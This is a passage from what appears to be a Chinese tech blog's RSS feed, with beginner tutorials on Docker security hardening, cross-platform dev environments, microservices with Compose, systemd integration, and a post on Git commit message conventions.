</content:encoded></item><item><title>Docker入门系列 (14) - Docker 安全实践与镜像加固</title><link>https://blog.hiyun.top/posts/docker%E5%85%A5%E9%97%A8%E7%B3%BB%E5%88%97-14---docker-%E5%AE%89%E5%85%A8%E5%AE%9E%E8%B7%B5%E4%B8%8E%E9%95%9C%E5%83%8F%E5%8A%A0%E5%9B%BA/</link><guid isPermaLink="true">https://blog.hiyun.top/posts/docker%E5%85%A5%E9%97%A8%E7%B3%BB%E5%88%97-14---docker-%E5%AE%89%E5%85%A8%E5%AE%9E%E8%B7%B5%E4%B8%8E%E9%95%9C%E5%83%8F%E5%8A%A0%E5%9B%BA/</guid><description>Docker入门系列 (14) - Docker 安全实践与镜像加固</description><pubDate>Sat, 04 Oct 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;容器技术虽然提升了部署效率，但也带来了新的安全挑战&lt;/p&gt;
&lt;p&gt;本章将介绍 Docker 的安全实践，包括镜像加固、权限控制、漏洞扫描与网络隔离，帮助你构建更安全的容器运行环境&lt;/p&gt;
&lt;p&gt;&amp;lt;!-- more --&amp;gt;&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;容器安全的核心问题&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;问题&lt;/th&gt;
&lt;th&gt;风险&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;镜像来源不可信&lt;/td&gt;
&lt;td&gt;恶意代码、后门&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;使用 root 用户运行&lt;/td&gt;
&lt;td&gt;权限过高，易被攻击&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;镜像体积过大&lt;/td&gt;
&lt;td&gt;增加攻击面与构建时间&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;网络暴露过多端口&lt;/td&gt;
&lt;td&gt;易遭扫描与攻击&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;缺乏漏洞检测&lt;/td&gt;
&lt;td&gt;隐藏安全隐患&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;hr /&gt;
&lt;h2&gt;镜像加固建议&lt;/h2&gt;
&lt;h3&gt;使用可信镜像源&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;优先使用官方镜像或企业认证镜像&lt;/li&gt;
&lt;li&gt;避免使用 &lt;code&gt;latest&lt;/code&gt; 标签，锁定版本号&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;FROM nginx:1.25.2
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;镜像瘦身&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;使用轻量基础镜像，如 &lt;code&gt;alpine&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;FROM node:18-alpine
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;清理构建缓存与临时文件&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;RUN apt-get clean &amp;amp;&amp;amp; rm -rf /var/lib/apt/lists/*
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;最小权限原则&lt;/h2&gt;
&lt;h3&gt;避免使用 root 用户&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;RUN addgroup -S appgroup &amp;amp;&amp;amp; adduser -S appuser -G appgroup
USER appuser
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;限制容器能力&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;docker run --cap-drop=ALL --cap-add=NET_BIND_SERVICE ...
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;只读文件系统&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;docker run --read-only ...
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;网络隔离与访问控制&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;使用自定义网络，限制服务间通信&lt;/li&gt;
&lt;li&gt;仅暴露必要端口，避免使用 &lt;code&gt;--network host&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;配置防火墙与安全组（如 iptables、cloud firewall）&lt;/li&gt;
&lt;/ul&gt;
&lt;hr /&gt;
&lt;h2&gt;镜像漏洞扫描工具&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;工具&lt;/th&gt;
&lt;th&gt;特点&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Trivy&lt;/td&gt;
&lt;td&gt;开源、快速、支持本地与 CI&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Clair&lt;/td&gt;
&lt;td&gt;支持多种镜像仓库&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Snyk&lt;/td&gt;
&lt;td&gt;商业服务，支持依赖分析&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Docker Scout&lt;/td&gt;
&lt;td&gt;Docker 官方集成工具（Docker Desktop）&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;使用 Trivy 示例：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;trivy image yourname/myapp
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;Registry 安全建议&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;使用 HTTPS 加密传输&lt;/li&gt;
&lt;li&gt;配置访问认证与权限控制&lt;/li&gt;
&lt;li&gt;定期清理过期镜像与标签&lt;/li&gt;
&lt;li&gt;启用镜像签名与审计日志&lt;/li&gt;
&lt;/ul&gt;
&lt;hr /&gt;
&lt;h2&gt;容器运行时安全&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;使用 AppArmor / SELinux 加强隔离&lt;/li&gt;
&lt;li&gt;使用 seccomp 限制系统调用&lt;/li&gt;
&lt;li&gt;使用 rootless Docker 降低权限风险&lt;/li&gt;
&lt;/ul&gt;
&lt;hr /&gt;
&lt;h2&gt;总结&lt;/h2&gt;
&lt;p&gt;安全不是附加项，而是容器部署的基础保障&lt;/p&gt;
&lt;p&gt;通过镜像加固、权限控制、漏洞扫描与网络隔离，你可以构建一个更安全、更可靠的容器运行环境&lt;/p&gt;
&lt;p&gt;下一章将作为本系列的收官篇，总结 Docker 项目实战经验与部署策略，帮助你从入门走向生产&lt;/p&gt;
</content:encoded></item><item><title>Docker入门系列 (13) - Docker 跨平台开发环境构建</title><link>https://blog.hiyun.top/posts/docker%E5%85%A5%E9%97%A8%E7%B3%BB%E5%88%97-13---docker-%E8%B7%A8%E5%B9%B3%E5%8F%B0%E5%BC%80%E5%8F%91%E7%8E%AF%E5%A2%83%E6%9E%84%E5%BB%BA/</link><guid isPermaLink="true">https://blog.hiyun.top/posts/docker%E5%85%A5%E9%97%A8%E7%B3%BB%E5%88%97-13---docker-%E8%B7%A8%E5%B9%B3%E5%8F%B0%E5%BC%80%E5%8F%91%E7%8E%AF%E5%A2%83%E6%9E%84%E5%BB%BA/</guid><description>Docker入门系列 (13) - Docker 跨平台开发环境构建</description><pubDate>Fri, 03 Oct 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;在团队协作与多平台开发中，环境不一致常常导致“在我电脑上能跑”的问题&lt;/p&gt;
&lt;p&gt;Docker 提供了构建统一开发环境的能力，使得 Windows、macOS、Linux 用户都能在一致的容器环境中开发、调试与运行项目&lt;/p&gt;
&lt;p&gt;本章将介绍如何使用 Docker 构建跨平台开发环境，提升协作效率与可移植性&lt;/p&gt;
&lt;p&gt;&amp;lt;!-- more --&amp;gt;&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;为什么使用 Docker 构建开发环境&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;避免环境污染与依赖冲突&lt;/li&gt;
&lt;li&gt;快速切换项目环境&lt;/li&gt;
&lt;li&gt;一致性：所有开发者使用相同的运行环境&lt;/li&gt;
&lt;li&gt;可移植性：环境定义即代码，易于迁移与复现&lt;/li&gt;
&lt;/ul&gt;
&lt;hr /&gt;
&lt;h2&gt;常见开发环境问题&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;问题&lt;/th&gt;
&lt;th&gt;Docker 解决方案&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;系统差异（Win/macOS/Linux）&lt;/td&gt;
&lt;td&gt;使用统一的容器镜像&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;依赖版本不一致&lt;/td&gt;
&lt;td&gt;使用 Dockerfile 固定依赖&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;环境搭建复杂&lt;/td&gt;
&lt;td&gt;使用 Compose 一键启动&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;本地配置泄露&lt;/td&gt;
&lt;td&gt;使用 &lt;code&gt;.env&lt;/code&gt; 文件与挂载隔离&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;hr /&gt;
&lt;h2&gt;使用 Dockerfile 构建开发环境&lt;/h2&gt;
&lt;p&gt;以 Node.js 项目为例：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;FROM node:18
WORKDIR /app
COPY package*.json ./
RUN npm install
COPY . .
CMD [&quot;npm&quot;, &quot;run&quot;, &quot;dev&quot;]
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;构建镜像：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;docker build -t dev-node .
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;运行容器并挂载代码：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;docker run -it -v $(pwd):/app -p 3000:3000 dev-node
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;使用 Docker Compose 管理开发环境&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;version: &apos;3.8&apos;
services:
  app:
    build: .
    volumes:
      - .:/app
    ports:
      - &quot;3000:3000&quot;
    environment:
      - NODE_ENV=development
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;启动：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;docker-compose up
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;使用 VS Code Dev Containers（推荐）&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;安装 VS Code 插件：&lt;code&gt;Dev Containers&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;创建 &lt;code&gt;.devcontainer/devcontainer.json&lt;/code&gt;：&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;&lt;code&gt;{
  &quot;name&quot;: &quot;Node Dev&quot;,
  &quot;image&quot;: &quot;node:18&quot;,
  &quot;workspaceFolder&quot;: &quot;/workspace&quot;,
  &quot;mounts&quot;: [
    &quot;source=${localWorkspaceFolder},target=/workspace,type=bind&quot;
  ]
}
&lt;/code&gt;&lt;/pre&gt;
&lt;ol&gt;
&lt;li&gt;打开项目 → 使用“在容器中重新打开”即可进入容器开发环境&lt;/li&gt;
&lt;/ol&gt;
&lt;hr /&gt;
&lt;h2&gt;多语言开发环境组合&lt;/h2&gt;
&lt;p&gt;使用 Compose 构建多语言环境：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;version: &apos;3.8&apos;
services:
  node:
    image: node:18
    volumes:
      - ./node:/app
    working_dir: /app

  python:
    image: python:3.11
    volumes:
      - ./python:/code
    working_dir: /code

  go:
    image: golang:1.21
    volumes:
      - ./go:/go/src/app
    working_dir: /go/src/app
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;挂载与同步建议&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;使用 &lt;code&gt;volumes&lt;/code&gt; 挂载代码目录，实时同步&lt;/li&gt;
&lt;li&gt;避免挂载 &lt;code&gt;node_modules&lt;/code&gt;、&lt;code&gt;venv&lt;/code&gt; 等依赖目录&lt;/li&gt;
&lt;li&gt;使用 &lt;code&gt;.dockerignore&lt;/code&gt; 排除无关文件&lt;/li&gt;
&lt;/ul&gt;
&lt;hr /&gt;
&lt;h2&gt;总结&lt;/h2&gt;
&lt;p&gt;Docker 是构建跨平台开发环境的理想工具&lt;/p&gt;
&lt;p&gt;无论你使用 Windows、macOS 还是 Linux，都可以通过容器获得一致的开发体验&lt;/p&gt;
&lt;p&gt;结合 Compose 与 Dev Containers，你可以实现快速启动、依赖隔离与团队协作的最佳实践&lt;/p&gt;
</content:encoded></item><item><title>Docker入门系列 (12) - Docker 微服务架构实践</title><link>https://blog.hiyun.top/posts/docker%E5%85%A5%E9%97%A8%E7%B3%BB%E5%88%97-12---docker-%E5%BE%AE%E6%9C%8D%E5%8A%A1%E6%9E%B6%E6%9E%84%E5%AE%9E%E8%B7%B5/</link><guid isPermaLink="true">https://blog.hiyun.top/posts/docker%E5%85%A5%E9%97%A8%E7%B3%BB%E5%88%97-12---docker-%E5%BE%AE%E6%9C%8D%E5%8A%A1%E6%9E%B6%E6%9E%84%E5%AE%9E%E8%B7%B5/</guid><description>Docker入门系列 (12) - Docker 微服务架构实践</description><pubDate>Thu, 02 Oct 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;微服务架构是一种将应用拆分为多个独立服务的设计模式，每个服务负责单一功能，独立部署与扩展&lt;/p&gt;
&lt;p&gt;本章将介绍如何使用 Docker 构建微服务架构，实现模块化部署、服务隔离与高可用性&lt;/p&gt;
&lt;p&gt;&amp;lt;!-- more --&amp;gt;&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;什么是微服务架构&lt;/h2&gt;
&lt;p&gt;微服务架构的核心理念：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;每个服务专注于单一业务功能&lt;/li&gt;
&lt;li&gt;服务之间通过网络通信（如 HTTP、gRPC）&lt;/li&gt;
&lt;li&gt;每个服务可独立部署、扩展与维护&lt;/li&gt;
&lt;li&gt;技术栈可异构（不同服务使用不同语言或框架）&lt;/li&gt;
&lt;/ul&gt;
&lt;hr /&gt;
&lt;h2&gt;Docker 与微服务的天然契合&lt;/h2&gt;
&lt;p&gt;Docker 提供了微服务架构所需的基础能力：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;每个服务运行在独立容器中，互不干扰&lt;/li&gt;
&lt;li&gt;使用 Compose 或 Swarm 编排多个服务&lt;/li&gt;
&lt;li&gt;快速构建与部署，适合 CI/CD 流程&lt;/li&gt;
&lt;li&gt;支持服务发现与网络隔离&lt;/li&gt;
&lt;/ul&gt;
&lt;hr /&gt;
&lt;h2&gt;微服务架构示例&lt;/h2&gt;
&lt;p&gt;假设我们构建一个电商系统，包含以下服务：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;frontend&lt;/code&gt;：用户界面&lt;/li&gt;
&lt;li&gt;&lt;code&gt;product-service&lt;/code&gt;：商品管理&lt;/li&gt;
&lt;li&gt;&lt;code&gt;order-service&lt;/code&gt;：订单处理&lt;/li&gt;
&lt;li&gt;&lt;code&gt;user-service&lt;/code&gt;：用户管理&lt;/li&gt;
&lt;li&gt;&lt;code&gt;gateway&lt;/code&gt;：统一入口与路由&lt;/li&gt;
&lt;li&gt;&lt;code&gt;db&lt;/code&gt;：数据库服务&lt;/li&gt;
&lt;/ul&gt;
&lt;hr /&gt;
&lt;h2&gt;使用 Docker Compose 构建微服务栈&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;version: &apos;3.8&apos;
services:
  gateway:
    image: yourname/gateway
    ports:
      - &quot;8080:8080&quot;
    depends_on:
      - frontend
      - product
      - order
      - user
    networks:
      - backend

  frontend:
    image: yourname/frontend
    networks:
      - backend

  product:
    image: yourname/product-service
    networks:
      - backend

  order:
    image: yourname/order-service
    networks:
      - backend

  user:
    image: yourname/user-service
    networks:
      - backend

  db:
    image: postgres
    environment:
      POSTGRES_PASSWORD: example
    volumes:
      - dbdata:/var/lib/postgresql/data
    networks:
      - backend

volumes:
  dbdata:

networks:
  backend:
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;服务通信与路由&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;所有服务连接到同一个网络 &lt;code&gt;backend&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;可通过服务名称进行 DNS 解析（如 &lt;code&gt;http://product:3000&lt;/code&gt;）&lt;/li&gt;
&lt;li&gt;&lt;code&gt;gateway&lt;/code&gt; 负责统一入口与路由转发，可使用 Nginx 或 API Gateway 实现&lt;/li&gt;
&lt;/ul&gt;
&lt;hr /&gt;
&lt;h2&gt;微服务的部署策略&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;每个服务独立构建镜像，版本可控&lt;/li&gt;
&lt;li&gt;使用标签区分环境（如 &lt;code&gt;v1.0-dev&lt;/code&gt;, &lt;code&gt;v1.0-prod&lt;/code&gt;）&lt;/li&gt;
&lt;li&gt;可使用 Swarm 或 Kubernetes 实现弹性伸缩与故障恢复&lt;/li&gt;
&lt;/ul&gt;
&lt;hr /&gt;
&lt;h2&gt;微服务的挑战与建议&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;问题&lt;/th&gt;
&lt;th&gt;建议&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;服务间通信复杂&lt;/td&gt;
&lt;td&gt;使用 API Gateway 或服务网格&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;数据一致性难&lt;/td&gt;
&lt;td&gt;采用事件驱动架构或 Saga 模式&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;部署频率高&lt;/td&gt;
&lt;td&gt;引入 CI/CD 流水线&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;日志分散&lt;/td&gt;
&lt;td&gt;使用集中式日志系统（如 ELK、Prometheus）&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;hr /&gt;
&lt;h2&gt;总结&lt;/h2&gt;
&lt;p&gt;Docker 为微服务架构提供了理想的运行环境&lt;/p&gt;
&lt;p&gt;通过容器化部署、网络隔离与服务编排，你可以构建出高可用、易扩展的分布式系统&lt;/p&gt;
</content:encoded></item><item><title>让你的 Git Commit Message 优雅起来</title><link>https://blog.hiyun.top/posts/%E8%AE%A9%E4%BD%A0%E7%9A%84-git-commit-message-%E4%BC%98%E9%9B%85%E8%B5%B7%E6%9D%A5/</link><guid isPermaLink="true">https://blog.hiyun.top/posts/%E8%AE%A9%E4%BD%A0%E7%9A%84-git-commit-message-%E4%BC%98%E9%9B%85%E8%B5%B7%E6%9D%A5/</guid><description>让你的 Git Commit Message 优雅起来</description><pubDate>Thu, 02 Oct 2025 00:00:00 GMT</pubDate><content:encoded>&lt;blockquote&gt;
&lt;p&gt;“写代码一分钟，写 Commit Message 两行泪”&lt;br /&gt;
—— 一位被历史代码支配的程序员&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&amp;lt;!-- more --&amp;gt;&lt;/p&gt;
&lt;h2&gt;为什么要在意 Commit Message ?&lt;/h2&gt;
&lt;p&gt;想象一下，你正调试一个项目，&lt;code&gt;git log&lt;/code&gt; 滚动出来的全是这样的信息:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;
fix bug
update
123
final_final_really_final

&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;是不是感觉灵魂受到了暴击? 半年后的你，根本不知道自己当时修了啥 bug，更别提帮别人 review 代码了&lt;/p&gt;
&lt;p&gt;Commit Message 就像项目的“日记”，写好它，团队能心有灵犀；写烂它，未来的自己会哭晕在厕所&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;一点规范，大大不同&lt;/h2&gt;
&lt;p&gt;业界其实早有共识，最常见的就是 &lt;strong&gt;Conventional Commits 规范&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;它给 Commit Message 设计了一套语法，简单又高效:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;
&amp;lt;type&amp;gt;(&amp;lt;scope&amp;gt;): &amp;lt;subject&amp;gt;

&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;例如:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;
feat(auth): 新增用户登录功能
fix(api): 修复分页接口返回条数错误
docs(readme): 更新使用文档示例

&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这样一眼扫过去，就能知道每个提交是 &lt;strong&gt;新增功能、修 bug、写文档&lt;/strong&gt;，还是别的&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;常见的 type 类型&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;feat&lt;/strong&gt;：新功能&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;fix&lt;/strong&gt;：修 bug&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;docs&lt;/strong&gt;：文档修改&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;style&lt;/strong&gt;：代码格式 (空格、缩进、分号之类，不影响逻辑)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;refactor&lt;/strong&gt;：代码重构 (既不是修 bug，也不是加功能)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;test&lt;/strong&gt;：增加或修改测试&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;chore&lt;/strong&gt;：杂项，比如构建流程、依赖管理&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;perf&lt;/strong&gt;：性能优化&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;ci&lt;/strong&gt;：持续集成相关改动&lt;/li&gt;
&lt;/ul&gt;
&lt;hr /&gt;
&lt;h2&gt;为什么要这样？&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;可读性强&lt;/strong&gt;：几百个 commit 里，你能迅速找到关键信息&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;自动化友好&lt;/strong&gt;：很多工具能根据规范生成 &lt;strong&gt;更新日志 (CHANGELOG)&lt;/strong&gt;，甚至触发自动发版&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;团队更和谐&lt;/strong&gt;：写清楚做了什么，review 更快，不用互相猜谜&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;利于新人上手&lt;/strong&gt;：新人看日志就能快速理解项目演进，不需要到处问&lt;/li&gt;
&lt;/ul&gt;
&lt;hr /&gt;
&lt;h2&gt;写得更优雅的小技巧&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;一句话说重点&lt;/strong&gt;：不要写“修复问题”，要写“修复分页接口返回数量错误”&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;不要带情绪&lt;/strong&gt;：什么“终于搞定了啊啊啊啊”——半年后看只会笑不出来&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;正文可以展开&lt;/strong&gt;：第一行简明扼要，必要时换行写详细说明&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;多用英文关键词，正文随意&lt;/strong&gt;：&lt;code&gt;type(scope)&lt;/code&gt; 建议用英文，描述可以中英文结合&lt;/li&gt;
&lt;/ul&gt;
&lt;hr /&gt;
&lt;h2&gt;工具加持，让规范变习惯&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Commitlint&lt;/strong&gt;&lt;br /&gt;
自动校验 commit 格式，不合格直接拦下&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Husky&lt;/strong&gt;&lt;br /&gt;
Git hooks 工具，可以在 &lt;code&gt;git commit&lt;/code&gt; 前强制执行校验，让团队所有人都守规范&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Commitizen (cz-cli)&lt;/strong&gt;&lt;br /&gt;
交互式输入 commit message，手把手帮你填，完全不用担心格式&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;changelog 工具&lt;/strong&gt;&lt;br /&gt;
例如 &lt;a href=&quot;https://github.com/conventional-changelog/standard-version&quot;&gt;standard-version&lt;/a&gt;，可以根据 commit 自动生成更新日志&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;hr /&gt;
&lt;h2&gt;结语&lt;/h2&gt;
&lt;p&gt;程序员的世界里，代码会老去，Bug 会重生，但 commit log 会一直陪你
所以，下次提交的时候，别再敷衍了事，让你的 commit 规范起来吧&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;毕竟：Commit 不规范，队友两行泪；Message 写得好，自己少烦恼。&lt;/strong&gt;&lt;/p&gt;
</content:encoded></item><item><title>Docker入门系列 (11) - Docker 与系统服务集成</title><link>https://blog.hiyun.top/posts/docker%E5%85%A5%E9%97%A8%E7%B3%BB%E5%88%97-11---docker-%E4%B8%8E%E7%B3%BB%E7%BB%9F%E6%9C%8D%E5%8A%A1%E9%9B%86%E6%88%90/</link><guid isPermaLink="true">https://blog.hiyun.top/posts/docker%E5%85%A5%E9%97%A8%E7%B3%BB%E5%88%97-11---docker-%E4%B8%8E%E7%B3%BB%E7%BB%9F%E6%9C%8D%E5%8A%A1%E9%9B%86%E6%88%90/</guid><description>Docker入门系列 (11) - Docker 与系统服务集成</description><pubDate>Wed, 01 Oct 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;在实际部署中，我们常常希望容器能够像系统服务一样运行：自动启动、守护运行、统一管理&lt;/p&gt;
&lt;p&gt;本章将介绍如何将 Docker 容器与系统服务（如 systemd）集成，实现容器的后台运行、开机自启与日志管理&lt;/p&gt;
&lt;p&gt;&amp;lt;!-- more --&amp;gt;&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;为什么要集成系统服务&lt;/h2&gt;
&lt;p&gt;虽然 Docker 本身支持后台运行（&lt;code&gt;-d&lt;/code&gt; 参数），但在生产环境中，使用系统服务管理容器具有以下优势：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;容器随系统启动自动运行&lt;/li&gt;
&lt;li&gt;容器崩溃后自动重启&lt;/li&gt;
&lt;li&gt;与其他服务统一管理（如 Nginx、PostgreSQL）&lt;/li&gt;
&lt;li&gt;支持日志收集与权限控制&lt;/li&gt;
&lt;/ul&gt;
&lt;hr /&gt;
&lt;h2&gt;使用 systemd 管理容器&lt;/h2&gt;
&lt;h3&gt;创建 systemd 服务文件&lt;/h3&gt;
&lt;p&gt;路径：&lt;code&gt;/etc/systemd/system/myapp.service&lt;/code&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;[Unit]
Description=My Docker App
After=docker.service
Requires=docker.service

[Service]
Restart=always
ExecStart=/usr/bin/docker run --rm -p 8080:80 --name myapp yourname/myapp
ExecStop=/usr/bin/docker stop myapp

[Install]
WantedBy=multi-user.target
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;说明：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;ExecStart&lt;/code&gt;：容器启动命令&lt;/li&gt;
&lt;li&gt;&lt;code&gt;ExecStop&lt;/code&gt;：容器停止命令&lt;/li&gt;
&lt;li&gt;&lt;code&gt;Restart=always&lt;/code&gt;：容器异常退出后自动重启&lt;/li&gt;
&lt;/ul&gt;
&lt;hr /&gt;
&lt;h3&gt;启动与管理服务&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;sudo systemctl daemon-reexec
sudo systemctl daemon-reload
sudo systemctl enable myapp
sudo systemctl start myapp
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;查看状态：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;sudo systemctl status myapp
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;停止服务：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;sudo systemctl stop myapp
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;使用 Docker restart 策略&lt;/h2&gt;
&lt;p&gt;无需 systemd，也可通过 Docker 自带的重启策略实现守护运行：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;docker run -d --restart=always yourname/myapp
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;可选策略：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;no&lt;/code&gt;：默认，不自动重启&lt;/li&gt;
&lt;li&gt;&lt;code&gt;on-failure&lt;/code&gt;：仅在非 0 状态退出时重启&lt;/li&gt;
&lt;li&gt;&lt;code&gt;always&lt;/code&gt;：始终重启&lt;/li&gt;
&lt;li&gt;&lt;code&gt;unless-stopped&lt;/code&gt;：除非手动停止，否则始终重启&lt;/li&gt;
&lt;/ul&gt;
&lt;hr /&gt;
&lt;h2&gt;日志管理建议&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;使用 &lt;code&gt;docker logs&lt;/code&gt; 查看容器日志&lt;/li&gt;
&lt;li&gt;将日志输出重定向到文件或日志系统（如 journald、ELK）&lt;/li&gt;
&lt;li&gt;在 systemd 中添加日志限制：&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;StandardOutput=journal
StandardError=journal
